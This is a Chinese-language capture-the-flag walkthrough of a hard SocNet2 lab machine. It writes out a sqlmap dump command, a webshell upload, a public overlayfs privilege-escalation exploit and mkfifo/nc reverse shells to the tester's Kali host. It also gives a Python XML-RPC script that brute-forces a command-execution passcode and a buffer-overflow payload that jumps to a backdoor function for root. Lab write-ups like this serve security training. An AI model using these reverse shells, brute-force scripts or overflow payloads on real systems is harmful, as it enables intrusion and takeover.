描述
------------------------------------------------------------------------------------------------------------------
Description
You’ve been assigned to test another social networking webapp.
You have been given access to a dev server.
The current devs use many custom tools and scripts that you’ll have to review and attack.
Difficulty: Hard
Tasks involved:
- port scanning
- webapp attacks
- code review
- custom bruteforcing
- reverse engineering
- buffer overflow
- exploitation
------------------------------------------------------------------------------------------------------------------
难度等级:高
打靶目标: 取得 root 权限
------------------------------------------------------------------------------------------------------------
主机发现
kali 地址 : 192.168.145.130
靶机 地址:192.168.145.133
Namp 扫描
:::info
nmap -sV -O -p 1-65535 192.168.145.133
:::
发现存在
22端口 ,
80 端口 Apache httpd 2.4.29 ((Ubuntu))
8000端口 BaseHTTPServer 0.3 (Python 2.7.15rc1)
8000端口不知道开启的是什么服务 反正知道应该是python 编写的
google.com.hk 一下 看看 是个什么东西
:::info
Python BaseHTTPServer 介绍
python 2.7 版本,介绍了 BaseHTTPServer 这个库的使用方法。
这个库是 python 自带的标准库的一部分,不需要额外安装,在 linux 系统下,位置在 /usr/lib/python2.7/BaseHTTPServer.py
BaseHTTPServer 源代码解析
BaseHTTPServer 这个模块提供了两个类让开发者实现 HTTP server:HTTPServer 和 BaseHTTPRequestHandler。
HTTPServer 继承了 SocketServer.BaseServer,主要功能是:创建和监听 socket,把请求转发给 handler 去处理。主要的工作都是在 BaseHTTPRequestHandler 中处理的,它把和请求有关的信息都封装成自己的实例变量,可以在子类中直接使用。这些变量包括:
- client_address:客户端的地址,存放在一个 tuple 里 (host, port)
- server: server 实例
- command:请求类型,比如,GET、POST 等
- path:请求路径,比如 /index.html
- request_version: 请求版本号,比如 HTTP/1.0
- headers:mimetools.Message 的实例对象,包含了头部信息
- rfile:rfile 是一个输入流,用来读取请求的数据
- wfile:wfile 是一个输出流,用来回写响应,回写的数据必须遵守 HTTP 协议的格式
除了这些实例变量之外,还有其他的类变量:
- server_version:服务器的版本号,比如 BaseHTTP/0.2
- sys_version:python 的版本号,比如 Python/1.4
- error_message_format:错误 response 的格式
- error_content_type:错误 response 的 Content-Type,默认是 text/html
- protocol_version:HTTP 协议版本号
- responses:error code 对应错误消息的匹配关系
当然,还有一些方法可以使用:
- handle():调用底层的实现来处理一次请求
- send_response():发送应答消息和状态码
:::
是一个python 自带的库 ,用来启用httpserver 服务 的 ,可以确定靶机存在python环境 ,
漏洞发现
8000端口
开了三个端口 先 一 一 去尝试访问
先看8000 端口 ,因为是python起的服务
开局报 501 错误 (服务器错误 )
HTTP 501 Not Implemented 服务器错误响应码表示请求的方法不被服务器支持,因此无法被处理
使用BURP 换种方式访问
使用 POST 的方法去访问返回 500 的错误
返回200
在下面post 内容里面输入一个1’
返回200 状态码 XML的数据
这里应该是遇到了python解析XML 数据的错误返回
其他请求方式
HEAD
PUT
DELETE
OPTIONS
这几个均返回501 错误
目录扫描
也没有发现存在重要的目录文件
80端口
是一个不知道是什么的网站或者啥CMS 百度没找到
存在注册功能
注册一个 admin2
登录进来存在一个 home界面
SQL注入
本来想使用 or 闭合的 然后报出了用户信息
证明存在sql注入了
这里就先用sqlmap 跑着
看看是否存在其他漏洞
存在一个留言界面
文件上传
哈哈哈 测试xxs
存在xss的 但是这里的上传图片不行 ,
再看一下评论
存在一个监控脚本 ,但是现在还没有发现
看看其他地方
profile.php 界面也是存在 上传的点的
直接上传一个webshell
直接连接webshell
但是这里权限是 www的一个权限
sqlmap 跑出的数据
对 socialnetwork 数据库进行查看 查看存在哪些表
sqlmap -r 1.txt -p query -D socialnetwork -T users -C user_password,user_email --dump
SQLmap 跑出了admin 用户的密码 和邮箱
尝试使用admin 用户去登录看看是否存在不一样的功能
登录上去也是没有什么不一样的
还是返回webshell
权限是低权限
版本是18.04.1
看是否存在提权漏洞
好像是存在漏洞的 可以进行提权的
Ubuntu用户提权CVE-2021-3493
1.漏洞摘要
Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。
CVE-2021-3493
linux内核中的overlayfs实现未就用户名称空间正确验证底层文件系统中文件的文件功能设置。由于无特权的用户名称空间以及Ubuntu内核中附带的允许无特权的覆盖挂载的补丁的组合,攻击者可以使用它来获得提升的特权,内核中的overlayfs实现无法正确验证文件系统功能在用户名称空间方面的应用。本地攻击者可以使用它来获得更高的特权。
2.受影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
-----------------------------------------------------------------------------------------------
EXP
https://github.com/inspiringz/CVE-2021-3493
在本机编译过后在上传到靶机上去
上传到tmp 临时目录下
一开始使用最简单的nc 反弹shell 到kali 中不行 ,执行不了命令
蚁剑又执行不了提权文件 shell
这里了解到
mkfifo 命令
在蚁剑中cmd 输入rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.145.130 1234 >/tmp/f
使用mkfifo命令成功反弹shell
提权成功
使用exp 提权成功
还没有结束
但是到这里还没有结束,靶机是2020 年出的 ,提权文件是2021 年的
那就是说还存在另外一种提权方法
查看 /etc/passwd 文件 看哪些用户 存在/bin/bash 权限
这里存在一个socnet 用户 和 一开始的 socnet2 用户 很像
进入到/home 下
是存在socnet 用户目录文件夹的
又见monitor.py
进入 目录 发现存在三个文件
monitor.py 这个文件好像在哪里见过
这是管理写的一个脚本
进程
查看 进程里面是否存在这个monitor.py文件
monitor文件是在运行的
查看一下源码
#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random
debugging_pass = random.randint(1000,9999)
def runcmd(cmd):
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output
def cpu():
return runcmd("cat /proc/cpuinfo")
def mem():
return runcmd("free -m")
def disk():
return runcmd("df -h")
def net():
return runcmd("ip a")
def secure_cmd(cmd,passcode):
if passcode==debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()
#这是我的远程服务器的API
导入了三个库
import SimpleXMLRPCServer XML-RPC 服务器
import subprocess //管理进程 ,创建进程的一个库
import random //随机元素 ,随机的库
这里除了 random用过其他两个根本没有用过 不知道干啥的 头疼
XML-RPC
简单来说就是可以利用这种技术在服务器端生成一个服务器端的API,程序接口
这个接口可以客服端的同样使用XML-RPC 访问 服务端接口,运行其中的函数 ,实现程序交互
命令执行
def cpu():
return runcmd("cat /proc/cpuinfo")
def mem():
return runcmd("free -m")
def disk():
return runcmd("df -h")
def net():
return runcmd("ip a")
这些都是特定的 命令 ,就算调用了 这些个函数也只能相对应的函数
def secure_cmd(cmd,passcode):
if passcode==debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."
但是这里不一样了 ,这里的cmd 命令是自己可以去定义的
但是这里有一个条件 ,passcode 要等于 debuggin_pass
debuggin_pass 是随机数 1000 - 9999 之间的
写 一个客服端去连接服务器端 去爆破
先使用客户端去连接 查看cpu 的信息 是否能执行cpu函数
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.145.133:8000/") as proxy:
print(str(proxy.cpu()))
成功执行
现在要暴力破解 debugging_pass
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.145.133:8000/") as proxy:
for p in range(1000,10000):
r = str(proxy.secure_cmd('whoami',p))
if not "Wrong" in r:
print(p)
print(r)
break
暴力破解出来的是 7171 执行的whoami命令是socnet
找到了密码7171 , 那这里要进行反弹shell
反弹shell 脚本
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.145.133:8000/") as proxy:
cmd = "nc 192.168.145.130 1233 | /bin/sh | nc 192.168.145.130 1235 "
s = str(proxy.secure_cmd(cmd,7171))
print(s)
这里我使用的nc 串联的方式反弹shell
查看目录下的文件
目录下存在三个文件,现在想办法提权
monitor.py 就是前面存在漏洞的文件,让我们登录socnet 用户的漏洞文件,
peda 应该是个插件 gdb 的
还有一个add_record文件
是一个可执行程序
这个可执行文件是存在 root 权限的
分析程序
本地是存在gdb 程序的 而且peda 插件
可能是让分析add_record 程序 是否存在溢出漏洞
先执行一下
翻译一下
他是可以添加 员工信息的
他有很多可以自己看着输入的内容的点
一个反馈 功能 ,
可以输入很多信息 ,
最简单的缓冲区溢出就是添加大量的垃圾字符 。 不知道是否存在 缓冲区溢出漏洞
感觉运行不了 不输出卡死
生成500 个 A 的垃圾字符
去测试
输入大量的A
是个正常的退出
溢出
经过测试
存在溢出的点在于Explain
堆栈存在大量的A
EIP 寄存器 也被A覆盖了
输入 pattern create 100
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
把这个再放在存在溢出的那里
使用
pattern search 命令 查找寄存器的偏移量
重点查看 EIP 寄存器
EIP+0 found at offset: 62
从第63 个 开始 会溢出explain
生成
EIP 寄存器被填入了 FFFF
可以正面存在缓冲区溢出了
disas mian
查看一下汇编代码
下个断点
r 一下
现在是push eax 寄存器
s 单步执行一下 每次只执行一个cpu的指令
现在是到了call 这里
下 下一个断点
r
s 单步跟进
他就到了
arg[0]: 0x80489e2 ("Years worked(int): ") 这里
第二次提问
再下 一个 断点
backdoor 后门
查看一下函数信息
info func
函数里面是存在system 函数 和suid 函数 可以去执行系统指令 或者执行root 权限的
这里存在两个函数
一个 backdoor 函数 后门的意思
vlun 函数
先查看 vuln 函数
调用了 strcpy
strcpy 是存在缓冲区漏洞的
查看 backdoor 函数
他这里是调用了suid 和 system 函数的
二次提权
利用python 的拼接,调用库功能,来实现反向拼接。
为了完整的进行程序入口拼接,需要将用户名,年限,薪资等数据按照换行来输入(这我的用户名abc 年限为2 薪资为1 与遇上了工作上的问题1),并生成一个payload文件
python -c “import struct; print(‘abc\n2\n3\n1\n’ + ‘A’*62 + struct.pack(‘I’, 0x08048676))” >payload
利用这个payload造成缓冲区漏洞 来 获取root权限
提权成功
参考 :
https://www.modb.pro/db/223374
http://www.caidexin.top/2021/10/02/blog_formal/security/%E9%9D%B6%E5%9C%BA/hard_socnet2/